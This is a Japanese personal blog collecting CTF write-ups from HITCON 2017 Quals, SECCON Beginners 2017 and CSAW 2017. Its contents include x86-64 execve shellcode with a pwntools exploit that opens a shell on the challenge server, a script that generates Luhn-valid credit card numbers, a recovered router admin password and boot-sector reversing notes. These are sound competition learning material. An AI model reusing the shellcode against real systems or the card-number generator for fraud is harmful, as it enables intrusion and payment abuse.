yyy

CTFつよくなりたい

HITCON CTF 2017 Quals - Easy to say -

f:id:ywkw1717:20171106114752p:plain

開催期間(JST)

11/4 AM11:00 ~ 11/6 AM11:00

結果

・チーム名:wabisabi

・得点:331 pt

・順位:得点したチーム中,145/1078

解いた問題

・Easy to say (Misc 144)

取り組んだが解けなかった問題

・Start (Pwn)

・Re: Easy to say (Misc)

はじめに

HITCONの開始時間がちょうどバイト先のりんご狩りと重なるということがあり,スタートダッシュが切れず.

結局始めたのは19時~から.

最初はpwnのStartからやっていたものの,方針が違うのか全く見当がつかず,miscのEasy to sayに切り替えた.

2日目は起きる時間が16時頃になってしまい,17時頃からEasy to sayを始めた.

そこから10時間くらい,ああじゃないこうじゃないってやってようやく解けたけど,他の問題は解けず...惨敗.

Writeup

Easy to say (Misc)

問題文

Are you good at shellcoding? Warm up!

nc 52.69.40.204 8361

解析

$ file easy_to_say-c7dd6cdf484305f7aaac4fa821796871
easy_to_say-c7dd6cdf484305f7aaac4fa821796871: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebaecbb5f55329380b6476b55253b4ea59d91891, stripped

64bit,strippedなバイナリが与えられ,限られた条件で動くシェルコードをプログラミングする問題.

限られた条件というのは,各バイトそれぞれが重複していない,かつ24バイト以下というもの.

このプログラムは,適当なシェルコードを入力として与えてあげると,それを実行してくれる.

最初困ったのが,gdbでstartするとコアダンプするっていう問題.

$ gdb easy_to_say-c7dd6cdf484305f7aaac4fa821796871
Reading symbols from easy_to_say-c7dd6cdf484305f7aaac4fa821796871...(no debugging symbols found)...done.
gdb-peda$ start
No unwaited-for children left.
zsh: abort (core dumped)  gdb -q easy_to_say-c7dd6cdf484305f7aaac4fa821796871

シンボル情報消されていてもステップ実行はできるはずなのに,よくわからない.

結局,runして適当な入力値を与えるとSEGVを起こすので,そこからstartして,あとはひたすらniとsiで探っていった.

すると,

0x555555554990:  xor    ebp,ebp

が開始アドレスとわかったので,ここら辺にブレークポイントをしかけて解析していく.

0x555555554ddf: call   c38 <stdout@@GLIBC_2.2.5-0x2013e8> # input_check(input_value, 0, 0)

入力値チェック的な関数を呼んでいる箇所.

ここから先のルーチンで,入力値が24バイトより大きい場合は24バイトに削り,入力値がユニークではない場合は Invalid input! を表示するルーチンへ飛ばす.

0x555555554e2b: call   rdx

最終的にここでシェルコードを実行するルーチンへ.

ここから先は,全汎用レジスタを初期化した後,入力されたシェルコードを実行するようになっている.

コーディング

一番問題なのは, /bin/sh という文字列の / が重複していること.

よって,最初の / はとあるバイトに置き換えておいて,後でその1バイトのみをxorして元に戻す方針でいく.

    .intel_syntax noprefix
    .global _start
_start:
    mov rbx, 0x68732f6e696203
    xor bl, 0x2c
    pushq rsi
    pushq rbx
    pushq rsp
    popq rdi
    mov al, 0x3b
    syscall

コンパイルして機械語のみを取り出す.ももテクさんの記事が参考になる.

inaz2.hatenablog.com

$ gcc -nostdlib shellcode.s
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g > input.txt

gdbにて run < input.txt をし,正しく実行されていることを確認できたら,exploit.pyに書いていく.

#!/usr/bin/env python
from pwn import *

context(os="linux", arch="i386")

"""
00000000004000d4 <_start>:
  4000d4: 48 bb 03 62 69 6e 2f    movabs rbx,0x68732f6e696203
  4000db: 73 68 00
  4000de: 80 f3 2c                xor    bl,0x2c
  4000e1: 56                      push   rsi
  4000e2: 53                      push   rbx
  4000e3: 54                      push   rsp
  4000e4: 5f                      pop    rdi
  4000e5: b0 3b                   mov    al,0x3b
  4000e7: 0f 05                   syscall
"""

def main():
    conn = remote("52.69.40.204", 8361)
    payload = "\x48\xbb\x03\x62\x69\x6e\x2f\x73\x68\x00\x80\xf3\x2c\x56\x53\x54\x5f\xb0\x3b\x0f\x05"

    conn.send(payload)
    conn.interactive()


if __name__ == "__main__":
    main()
$ python exploit.py
[+] Opening connection to 52.69.40.204 on port 8361: Done
[*] Switching to interactive mode
Give me your code :Run !
$ ls -la
total 72
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 .
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 ..
-rwxr-xr-x   1 root        root           0 Nov  1 06:36 .dockerenv
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 bin
drwxr-xr-x   2 root        root        4096 Apr 10  2017 boot
drwxr-xr-x   5 root        root         340 Nov  4 04:40 dev
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 etc
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 home
drwxr-xr-x   1 root        root        4096 Feb 16  2017 lib
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 lib64
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 media
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 mnt
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 opt
dr-xr-xr-x 125 root        root           0 Nov  4 04:40 proc
drwx------   2 root        root        4096 Sep 15 08:42 root
drwxrwxr--   1 root        root        4096 Sep 18 23:31 run
drwxr-xr-x   1 root        root        4096 Sep 18 23:31 sbin
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 srv
dr-xr-xr-x  13 root        root           0 Nov  4 06:16 sys
drwxr-xr--   2 easy_to_say easy_to_say 4096 Oct 23 19:14 tmp
drwxr-xr-x   1 root        root        4096 Sep 15 08:42 usr
drwxr-xr-x   1 root        root        4096 Sep 15 08:42 var
$ cd home
$ ls -la
total 12
drwxr-xr-x 1 root        root        4096 Nov  1 06:36 .
drwxr-xr-x 1 root        root        4096 Nov  1 06:36 ..
drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov  1 06:35 easy_to_say
$ cd easy_to_say
$ ls -la
total 28
drwxr-xr-x 2 easy_to_say easy_to_say  4096 Nov  1 06:35 .
drwxr-xr-x 1 root        root         4096 Nov  1 06:36 ..
-rwxr-xr-x 1 easy_to_say easy_to_say 10232 Nov  1 06:35 easy_to_say
-rw-r--r-- 1 easy_to_say easy_to_say    43 Nov  1 06:35 flag
-rwxr--r-- 1 easy_to_say easy_to_say    72 Nov  1 06:35 run.sh
$ cat flag
hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}

プロはすぐbabyっていう.

取り組んだが解けなかった問題

Start (Pwn)

問題文

Have you tried pwntools-ruby?

nc 54.65.72.116 31337

server.rbがリモートで動いていて,与えられたrubyのコードをevalしてくれる.

また,同一ホスト内の31338ポートではstartというバイナリが動いていて,これは入力値をそのまま表示するだけ(?).10秒間でタイムアウトする.

server.rbに,Dirとかいろいろいい感じに使って,ローカルのファイルを読み出せたりはしたんだけど,フラグがどこにも見当たらない.

そもそも,それだとstartが別ポートで動いている必要がないし,やっぱりstartの脆弱性を何らかの方法で突くのかなと思い,やってみるも,どういう脆弱性が存在しているのかさっぱりわからず.

Re: Easy to say (Misc)

問題文

I think you can do better!

nc 13.112.180.65 8361

Easy to sayのバイト数制限が8バイトverっていう激辛シェルコーディング問題.

無理だった.

まとめ

こうしてwriteupを書いていると解法は自明に思えてくるけど,解いている時は以外と思いつかず,REXプレフィックスに悩まされたり,xor ebx, ebxxor bx, bx では挙動が違うことに悩まされたり.( xor bx, bx だとRBXの下位2バイトだけいい感じに変化してくれるのに, xor ebx, ebxだと,その結果が丸々RBXとなってしまう.同様に xor bl, bl では下位1バイトだけ変更できる)

Rev問が1つも解けてないのが痛すぎる.

そろそろ,そこそこ難しい問題も解けるようになる必要がありそう.

SECCON Beginners 2017 仙台 に参加した感想&Writeup(decodeme)

はじめに

誘おうとした友人はフィリピンに連れていかれるらしく,ぼっち参戦してきました.参加理由としては,ずっと行ってみたかったっていうのと,Webわからんっていうのと,SECCONステッカーが欲しかったって感じです.

以下,感想とCTF中に解けなかったバイナリ300のdecodemeのWriteupです.decodemeを帰りの電車の中でやってたら10分でフラグが出てきて,なんでこれ解けなかったんだってなりました.どうも時間が限られてるとプレッシャー的なものが働いて,脳死状態になるっぽくてダメっぽいです.

参加しての感想など

まずはオリエンテーション,そしてWebとForensicsとReversingの講義,その後にれっくすさんの話を聞いて,あとはみんなでワイワイCTFをしてました.

参加人数は60人ほどだったのですが,1位から5位まではステッカーが貰えるということで頑張りました.

CTFではReversingとかを普段やっていることもあって,1位を取ることができました.

スコアボードは見ないように解いていたのですが,運営の方々の声とかで自分が結構上位にいるなとわかりました,そして気づいたら1位になっててビビりました.

f:id:ywkw1717:20170924001220p:plain

自分はバイナリから解いていたのですが,バイナリを解く人が少ないので自分がバイナリをある程度解き終わった後は,ForensicsとWebの問題でそれぞれ解いた人数などが一目瞭然で,どれが簡単そうで難しそうかなどもわかって進めやすかったので,バイナリから解くバイナリアン戦法はオススメです.

decodeme(Writeup)

誰も解いてなかった問題です.

確かCTF中は,xorとかいろんな事やっていて解くのに時間かかりそうだなぁと思ったのですぐにForensicsに切り替えて,その後Webっていう順番で進めてました.

結果,本番中には解けなかったのですが,帰りの電車で見てみたところ,ただxorしてるだけやんけってなって解くことができました.

作問側への配慮で,少しぼかしたことを書きます.

問題としては入力値をある文字数受け取ってからその文字数分のループに入り,各文字とカウンタ変数とのxorを取って,それが"N1v\\F`anfgoy"と等しければctf4b{%s}の中に入れてその文字列を出力するようになっています.

よって,"N1v\\F`anfgoy"という文字列に対してある文字数分ループしてカウンタ変数とのxorを取ってやれば元に戻ります.

自分はPythonで数行のスクリプトを書いて求めました.

flagを一部隠しますが,以下のようなflagになるはずです.

ctf4b{N0t_XXXXXXXr}

まとめ

どの講義も初心者にわかりやすく,とても良質な講義だったと思います.

3つの講義以外にもとても良いことを仰っていて,佳山さんとれっくすさんの話が印象に残っています.

佳山さんの倫理の話では,我々が技術を悪用しないのは法律に関係なく,自分たちの仕事に誇りを持っているからみたいなことを,れっくすさんの話では,CTFは最近難化しているが,知的好奇心が強い人は必ず強くなれる,みたいなことを仰っていました.

あとは,Reversingの講義において,少ない講義時間でなにを教えようとしているか,どのようなことを覚えてもらいたいかなどをReversingの講義を担当したちひろさんに聞くことができました.

Reversingは他の2つと違って,覚えるべきことが多いと思うので,少ない講義時間で教えるのは大変だなぁと思いました.

そしてCTFですが,1時間弱というとても少ない時間でやるCTFは初めてだったので,いい経験になりました.

もっといろいろな人にBeginnersに参加して貰いたいなと思ったので,どんどん他の人にも勧めようと思います.

運営の方々,ありがとうございました!

おまけ

戦利品です.(((懇親会のコーラも頂きました)))

f:id:ywkw1717:20170924001832j:plain

CSAW CTF Qualification Round 2017 Writeup

開催期間(JST)

09/16 AM5:00 ~ 09/18 AM5:00

結果

・チーム名:wabisabi

・得点:851 pt

・順位:得点したチーム中,231/1444

解いた問題

・CVV (Misc100)

・tablEZ (Reversing100)

・Best Router (Forensics200)

・realism (Reversing400)

取り組んだが解けなかった問題

・pilot (Pwn75)

・Missed Registration (Forensics150)

・Gopherz (Reversing350)

はじめに

今回はEKOPARTYのほうと被っていて,一応両方登録はしたんですが,結局CSAWだけやってました.

土曜日は@kobadlveと@phustlyと集まって少しやっていて,日曜は家に引きこもってやってました.

去年のCSAWは576ptで252/1274だったので,一応去年より高い順位は取れたっぽい.

Writeup

CVV (Misc100)

ncで繋ぐと,こんな感じでいろいろな種類のクレジットカード番号を求められます.

$ nc misc.chal.csaw.io 8308
I need a new American Express!
^C

$ nc misc.chal.csaw.io 8308
I need a new Visa!

クレジットカードのパターンは,'MasterCard','Discover','American','Visa'の4つ.

確か「面白くて眠れなくなる数学」とかいう本を以前読んだ時に,クレジットカード番号はとあるアルゴリズムによって決まっているってことを知って,つまりランダムに数字を入力すればいいというわけではなくて,そのアルゴリズムに沿った数字を入力する必要がありそうだなぁとか思いました.

各クレジットカードについてもカード番号の桁数が違っていたり,それぞれカード番号にルールが決まっていたりするので,そこら辺を気を付けながらスクリプトを書きます.

使われているアルゴリズムの名前はLuhnアルゴリズムというものらしく,どうせ実装してる人いるやろって思ったらWikipediaに載ってたり,いろいろな書き方で実装している人がいたので,それをお借りしました.

Luhnアルゴリズム(やってみた Python2.7) · GitHub

雑にスクリプトを書いて回してみたら,Visaのカード番号を毎回失敗するVisaが苦手なスクリプトが生まれてしまって,どうしようかなと思った結果,以下の任意のクレジットカード番号を生成する神サイトを見つけたので,適当に100個くらい生成して,それを使うようにしました.

www.getcreditcardnumbers.com

あとは,何回か正解すると途中から出題が変わって,ある数字で始まるもの,終わるもの,与えられた番号がvalidかinvalidか返すもの,とかにそれぞれスクリプトを雑に対応させました.

与えられた番号がvalidかinvalidか返すやつは,Luhnアルゴリズム自体が全ての間違いを検出できるわけではないっぽくて,2回目で成功しました.

以下,書いたスクリプト.(めっちゃ汚いけど,解ければいいやろと思ってる)

Luhnアルゴリズムでvalidが返るまでランダムに数字を生成して,それを送るってことをやってる.1度使ったものは使えないっぽいけど,これだけ大きければほぼ被ることはないだろうということで,その対策はしてない.

#!/usr/bin/env python
# coding: utf-8
import socket
import random
import itertools

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('misc.chal.csaw.io', 8308))

card_list = ['MasterCard', 'Discover', 'American', 'Visa']

#  https://gist.github.com/oyakata/5955744 より
def check_digits(text):
    """itertools.cycleを使って実装。"""
    def even_value(x):
        y = x * 2
        return y - 9 if y > 9 else y
    values = (int(x) for x in reversed(text))
    switcher = itertools.cycle((lambda x: x, even_value))
    digits = (func(x) for func, x in itertools.izip(switcher, values))
    return sum(digits) % 10 == 0


def main():
    count = 0
    f = open('visa.txt', 'r')
    visa = f.read().split('\n')
    f.close()

    while(True):
        data = s.recv(256)
        print data

        all_data  = data.split(' ')

        card = all_data[4].replace('!','').rstrip()

        if card == 'card':
            card = all_data[8].replace('!', '').rstrip()

        print card

        if card == 'MasterCard':
            while True:
                num = '5' + str(random.randint(100000000000000, 999999999999999))
                print num
                if check_digits(num):
                    break

        elif card == 'Discover':
            while True:
                num = '60110' + str(random.randint(10000000000, 99999999999))
                print num
                if check_digits(num):
                    break

        elif card == 'American':
            while True:
                num = '34' + str(random.randint(1000000000000, 9999999999999))
                print num
                if check_digits(num):
                    break

        elif card == 'Visa':
            print visa[count]
            num = visa[count]

        elif card == 'if':
            card_num = all_data[5]
            if check_digits(card_num):
                num = '1'
            else:
                num = '0'

        else:
            info = all_data[6]

            if len(card) == 4 and info == "starts":
                while True:
                    num = card + str(random.randint(100000000000, 999999999909))
                    print num
                    if check_digits(num):
                        break
            elif len(card) == 1 and info == "ends":
                while True:
                    num = str(random.randint(100000000000000, 999999999999999)) + card
                    print num
                    if check_digits(num):
                        break
            elif len(card) == 4 and info == "ends":
                while True:
                    num = str(random.randint(100000000000, 999999999909)) + card
                    print num
                    if check_digits(num):
                        break

        s.sendall(num + '\n')
        count = count + 1


if __name__ == '__main__':
    main()
$ python solve.py
.
.
.

if
True
Thanks!
I need to know if 7358400188115005 is valid! (0 = No, 1 = Yes)

if
True
Thanks!
I need to know if 8664780687553453 is valid! (0 = No, 1 = Yes)

if
False
Thanks!
I need to know if 1514774928101638 is valid! (0 = No, 1 = Yes)

if
False
Thanks!
I need to know if 9017155594857850 is valid! (0 = No, 1 = Yes)

if
True
Thanks!
I need to know if 3591469017167338 is valid! (0 = No, 1 = Yes)

if
False
Thanks!
flag{ch3ck-exp3rian-dat3-b3for3-us3}

tablEZ (Reversing100)

一番最初に解いたやつ.

問題文

Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...
$ ./true
Please enter the flag:
hoge
WRONG

crackme系のやつ.

確か,入力値を元にテーブルからindexを求めて,それを使って再度テーブルから値を取り出す,ってことをやっていた気がします.

以下,解いていた時のメモ.

gdb-peda$ x/80 0x555555755281
0x555555755281 <trans_tbl+1>: 0x056c04c4039b02bb  0x09450822072e064a
0x555555755291 <trans_tbl+17>:    0x0d060cd50bb80a33  0x117910fa0fbc0e0a
0x5555557552a1 <trans_tbl+33>:    0x15bf14b213e11224  0x1960188617ad162c
0x5555557552b1 <trans_tbl+49>:    0x1d591cd81bb61aa4  0x217720941f411e87
0x5555557552c1 <trans_tbl+65>:    0x256124cb234f22f0  0x292a289727c02625
0x5555557552d1 <trans_tbl+81>:    0x2d9f2cc92b082a5c  0x31f930cf2f4e2e43
0x5555557552e1 <trans_tbl+97>:    0x35e73465336f323e  0x39ef38b7373936c5
0x5555557552f1 <trans_tbl+113>:   0x3daa3c2f3bc83ad0  0x4181403c3f473ec7
0x555555755301 <trans_tbl+129>:   0x45a644d343494232  0x49404858472b4696
0x555555755311 <trans_tbl+145>:   0x4d1a4cee4b9c4af1  0x518050d64fc64e5b
0x555555755321 <trans_tbl+161>:   0x553d549a536d522d  0x59e05884579356a7
0x555555755331 <trans_tbl+177>:   0x5d095cb95b3b5a12  0x614860995fba5e69
0x555555755341 <trans_tbl+193>:   0x6582647c63b16273  0x69fb689d672766be
0x555555755351 <trans_tbl+209>:   0x6db36cf46b7e6a67  0x711b705f6fc26e05
0x555555755361 <trans_tbl+225>:   0x7511747173237254  0x796878a577d27630
0x555555755371 <trans_tbl+241>:   0x7d7a7cf57b3f7a9e  0x8185800c7f0b7ece
0x555555755381 <trans_tbl+257>:   0x858e845e836382de  0x89da886a87fe86bd
0x555555755391 <trans_tbl+273>:   0x8dac8ce88b888a26  0x91f690a88f628e03
0x5555557553a1 <trans_tbl+289>:   0x95c3946b937592f7  0x998f98e697519646
0x5555557553b1 <trans_tbl+305>:   0x9d919c5a9b769a28  0xa152a0449f1f9eec
0x5555557553c1 <trans_tbl+321>:   0xa53aa48ba3fca201  0xa910a816a7a3a6a1
0x5555557553d1 <trans_tbl+337>:   0xad95accaab50aa14  0xb10eb035af4bae92
0x5555557553e1 <trans_tbl+353>:   0xb55db41db320b2b5  0xb90fb86eb7e2b6c1
0x5555557553f1 <trans_tbl+369>:   0xbdd9bcd4bb90baed  0xc157c098bfddbe42
0x555555755401 <trans_tbl+385>:   0xc556c478c319c237  0xc904c8d1c774c6af
0x555555755411 <trans_tbl+401>:   0xcd4ccce5cb55ca29  0xd1dbd089cff2cea0
0x555555755421 <trans_tbl+417>:   0xd5ead483d338d2e4  0xd98cd8dcd707d617
0x555555755431 <trans_tbl+433>:   0xdde9dc7bdbb4da8a  0xe10de015dfebdeff
0x555555755441 <trans_tbl+449>:   0xe534e4f3e3a2e202  0xe913e8f8e718e6cc
0x555555755451 <trans_tbl+465>:   0xed21ecaeeb7fea8d  0xf170f04defcdeee3
0x555555755461 <trans_tbl+481>:   0xf572f4abf3fdf253  0xf9a9f866f71cf664
0x555555755471 <trans_tbl+497>:   0xfddffcd7fb1efab0  0xe0000031ff7dfe36


0x5555555549c1 <main+289>:    cmp    QWORD PTR [rbp-0xc8],0x25
FLAGは0x25文字(37文字)


This is the flag.
gdb-peda$ x/30 0x7fffffffcac0
0x7fffffffcac0: 0xb1e711 f59d73b327  0x30f4f9f9b399beb3
0x7fffffffcad0: 0xb19965237399711b  0xf9279923be111165
0x7fffffffcae0: 0x000000 ce65059923

逆の処理を書くより,入力値を与えてテーブル作って,そこからflagを求めたほうが早そうなので,その方法でやりました.

最近バイトでRubyばっかりなのでRubyで書いてみた.

string = "d0efb739c5e7656f3ef999cef53b12e08493a73d9a6d2d80d6c65b1aee9cf140582b96a6d349323f9e68a5d230117123541b5fc205b3f47e67fb9d27be827cb173"
char = (('a'..'z').to_a.join + ('A'..'Z').to_a.join + '{}_' + ('0'..'9').to_a.join)

list1 = string.scan(/.{1,2}/).reverse
list2 = char.scan(/.{1,1}/)
table = {}

list1.zip(list2).each do |val1, val2|
  table.store(val1, val2)
end

flag_str  = "ce65059923f9279923be111165b19965237399711b30f4f9f9b399beb3b1e711f59d73b327"
flag_list = flag_str.scan(/.{1,2}/).reverse
flag = ""

flag_list.each do |val|
  flag = flag + table[val].to_s
end

puts flag
$ ruby solve.rb
flag{t4ble_l00kups_ar3_b3tter_f0r_m3}

Best Router (Forensics200)

問題文

http://forensics.chal.csaw.io:3287

NOTE: This will expand to ~16GB!

解いているチームが多かったのでできそうだなぁとは思ってたのですが,16GBも容量がなかったので,土曜家に帰ってきてからDesktopのほうで解いたやつ.

与えられたbest_router.tar.gzを解凍すると,14.5GBのイメージファイルが出てきます.

FTK Imagerで解けそうなので,開いてみる.

f:id:ywkw1717:20170918145543p:plain

いろいろありそうだけど,問題文を思い出してみる.

ログインフォームのURLが与えられているので,これにログインできるとflagが出そう.

f:id:ywkw1717:20170918150745p:plain

/var/wwwが怪しそうなので見てみるとビンゴ.

f:id:ywkw1717:20170918150209p:plain

flag.txtは空でここからは見れないので,やっぱり与えられたURLにログインする必要がありそう.

f:id:ywkw1717:20170918150326p:plain

username:admin

psassword:iforgotaboutthemathtest

でログインするとflagが貰える.

f:id:ywkw1717:20170918150838p:plain

realism (Reversing400)

高得点の解きたいなぁと思って,rev問見てたら数十人が解いていたのでやってみた.

問題文

Did you know that x86 is really old? I found a really old Master Boot Record that I thought was quite interesting! At least, I think it's really old...

qemu-system-i386 -drive format=raw,file=main.bin

QEMU初めて使った.

与えられたmain.binはブートセクタ.

与えれらたコマンド通りにmain.binを起動してみると,以下のような画面が出てきて,またこれもcrackme系の問題.

f:id:ywkw1717:20170918151711p:plain

適当に入力すると,WRONG FLAG.

f:id:ywkw1717:20170918152515p:plain

ブートセクタは512バイトで読むべきコード自体は少ないのですが,どう解析したらいいかわからなくて困った.

ググってたらndisasmでできるよ,みたいなのを見つけて逆アセンブルしたらそれっぽく出てきたけど,やっぱり動的解析しないと厳しそう.

めっちゃ調べていろいろやってみたら,以下のようにして解析できた.

gdbオプション付きでQEMUを起動.

$ qemu-system-i386 -drive format=raw,file=main.bin -S -gdb tcp::1234

別terminalにてgdbを起動して,set architecturetarget remoteでそれぞれ指定.

ブートセクタは0x7C00にロードされるらしいので,そこにブレークポイントをしかける.

$ gdb
gdb-peda$ set architecture i8086
gdb-peda$ target remote localhost:1234
gdb-peda$ b *0x7c00

pedaのプロンプトは出ているのに使えなかったので,ノーマルなgdbでノーマルなコマンドで解析する.

最初の4文字が"flag"かどうかチェックしている部分.入力値の長さのチェックはこれの前にある.

0x7c6f:  cmp    DWORD PTR ds:0x1234,0x67616c66
0x7c78:    jne    0x7d4d

その後,入力値チェックがある.あとはここを読んで求解処理を書くだけ.

0x7c7c:  movaps xmm0,XMMWORD PTR ds:0x1238
0x7c81:    movaps xmm5,XMMWORD PTR ds:0x7c00
0x7c86:    pshufd xmm0,xmm0,0x1e
0x7c8b:    mov    si,0x8
0x7c8e:    movaps xmm2,xmm0
0x7c91:    andps  xmm2,XMMWORD PTR [si+0x7d90]
0x7c96:    psadbw xmm5,xmm2
0x7c9a:    movaps XMMWORD PTR ds:0x1268,xmm5
0x7c9f:    mov    di,WORD PTR ds:0x1268
0x7ca3:    shl    edi,0x10
0x7ca7:    mov    di,WORD PTR ds:0x1270
0x7cab:    mov    dx,si
0x7cad:    dec    dx
0x7cae:    add    dx,dx
0x7cb0:    add    dx,dx
0x7cb2:    cmp    edi,DWORD PTR [edx+0x7da8]
0x7cba:    jne    0x7d4d
0x7cbe:    dec    si
0x7cbf:    test   si,si # If si is 0, finish.
0x7cc1:    jne    0x7c8e

8回ループして入力値チェックしている.間違っていたら即Wrong.

最初にxmm0レジスタに読み込んだ入力値をpshufd命令でシャッフルしている.

0x7c86: pshufd xmm0,xmm0,0x1e

このpshufd命令までが初期化っぽい.

その後,andps命令でシャッフルされた入力値をマスクする.(16バイトの内,ある2バイトを0にする.この0にする位置は徐々にずれていく)

0x7c91: andps  xmm2,XMMWORD PTR [si+0x7d90]

そして,マスクした入力値とxmm5レジスタを使ってpsadbw命令で差の絶対値を取ったり足したりする.(このxmm5レジスタの値は初期値だけ決まっていて,あとはpsadbwで求まった値を次の計算でも使う)

0x7c96: psadbw xmm5,xmm2

psadbw命令は以下がわかりやすい.

http://www.officedaytime.com/tips/simdimg/si.php?f=psadbw

その後,求まった値を使って8バイトの数値を作って,それが特定の値と等しいかどうかチェックしている.

1回目と2回目で各命令を実行したときのレジスタの値とかを逐一調べてメモしてた.

2回目の値も調べるために,バイナリ本体にパッチを当てちゃうと便利.

この部分を

0x7cba: jne    0x7d4d

以下のように書き換えて,オペコードをjeにする.

f:id:ywkw1717:20170918162540j:plain

解いていた時のメモ.

Initialize
=======================================================================================
=> 0x7c6f:   cmp    DWORD PTR ds:0x1234,0x67616c66
   0x7c78:  jne    0x7d4d
   0x7c7c:  movaps xmm0,XMMWORD PTR ds:0x1238

gdb-peda$ p $xmm0
$2 = {
  v4_float = {12.0784864, 12.0784311, 12.0784311, 1.60549888e+37}, 
  v2_double = {2261634.5098039485, 2.2040338477057924e+295}, 
  v16_int8 = {0x7b, 0x41 <repeats 14 times>, 0x7d}, 
  v8_int16 = {0x417b, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x7d41}, 
  v4_int32 = {0x4141417b, 0x41414141, 0x41414141, 0x7d414141}, 
  v2_int64 = {0x414141414141417b, 0x7d41414141414141}, 
  uint128 = 0x7d41414141414141414141414141417b
}

   0x7c81:  movaps xmm5,XMMWORD PTR ds:0x7c00

gdb-peda$ p $xmm5
$3 = {
  v4_float = {-134298496, -2.50091934, -1.48039995e-36, 1.93815862e-18}, 
  v2_double = {-8.0294250547975565, 1.241726856953559e-144}, 
  v16_int8 = {0xb8, 0x13, 0x0, 0xcd, 0x10, 0xf, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 0x83, 0xc8, 0x2, 0xf, 0x22}, 
  v8_int16 = {0x13b8, 0xcd00, 0xf10, 0xc020, 0xe083, 0x83fb, 0x2c8, 0x220f}, 
  v4_int32 = {0xcd0013b8, 0xc0200f10, 0x83fbe083, 0x220f02c8}, 
  v2_int64 = {0xc0200f10cd0013b8, 0x220f02c883fbe083}, 
  uint128 = 0x220f02c883fbe083c0200f10cd0013b8
}

   0x7c86:  pshufd xmm0,xmm0,0x1e

gdb-peda$ p $xmm0
$4 = {
  v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, 
  v2_double = {2.2040338477057924e+295, 2261750.5098039214}, 
  v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, 
  v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, 
  uint128 = 0x4141417b414141417d41414141414141
}

   0x7c8b:  mov    si,0x8
=======================================================================================


Loop
=======================================================================================
   0x7c8e:  movaps xmm2,xmm0

gdb-peda$ p $xmm2
$6 = {
  v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, 
  v2_double = {2.2040338477057924e+295, 2261750.5098039214}, 
  v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, 
  v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, 
  uint128 = 0x4141417b414141417d41414141414141
}

   0x7c91:  andps  xmm2,XMMWORD PTR [si+0x7d90] # first, si is 0x8. second, si is 0x7.

0 の位置が徐々にずれていく.

First: gdb-peda$ x/30wx $si+0x7d90
0x7d98: 0xffffff00  0xffffffff  0xffffff00  0xffffffff
0x7da8: 0x02110270  0x02290255  0x025e0291  0x01f90233
0x7db8: 0x027b0278  0x02090221  0x0290025d  0x02df028f
0x7dc8: 0x00000014  0x00000000  0x00000000  0x00000000
0x7dd8: 0x00000000  0x00000000  0x00000000  0x00000000
0x7de8: 0x00000000  0x00000000  0x00000000  0x00000000
0x7df8: 0x00000000  0xaa550000  0x00000000  0x00000000
0x7e08: 0x00000000  0x00000000

Second: gdb-peda$ x/20wx $si+0x7d90
0x7d97: 0xffff00ff  0xffffffff  0xffff00ff  0xffffffff
0x7da7: 0x110270ff  0x29025502  0x5e029102  0xf9023302
0x7db7: 0x7b027801  0x09022102  0x90025d02  0xdf028f02
0x7dc7: 0x00001402  0x00000000  0x00000000  0x00000000
0x7dd7: 0x00000000  0x00000000  0x00000000  0x00000000


First: gdb-peda$ p $xmm2
$7 = {
  v4_float = {12.0783691, 1.60549888e+37, 12.0783691, 12.0784864}, 
  v2_double = {2.2040338477057629e+295, 2261750.5098038912}, 
  v16_int8 = {0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x0, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x4100, 0x4141, 0x4141, 0x7d41, 0x4100, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41414100, 0x7d414141, 0x41414100, 0x4141417b}, 
  v2_int64 = {0x7d41414141414100, 0x4141417b41414100}, 
  uint128 = 0x4141417b414141007d41414141414100
}

Second: gdb-peda$ p $xmm2
$6 = {
  v4_float = {12.062562, 1.60549888e+37, 12.062562, 12.0784864}, 
  v2_double = {2.2040338476982412e+295, 2261750.5097961728}, 
  v16_int8 = {0x41, 0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x0, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x41, 0x4141, 0x4141, 0x7d41, 0x41, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41410041, 0x7d414141, 0x41410041, 0x4141417b}, 
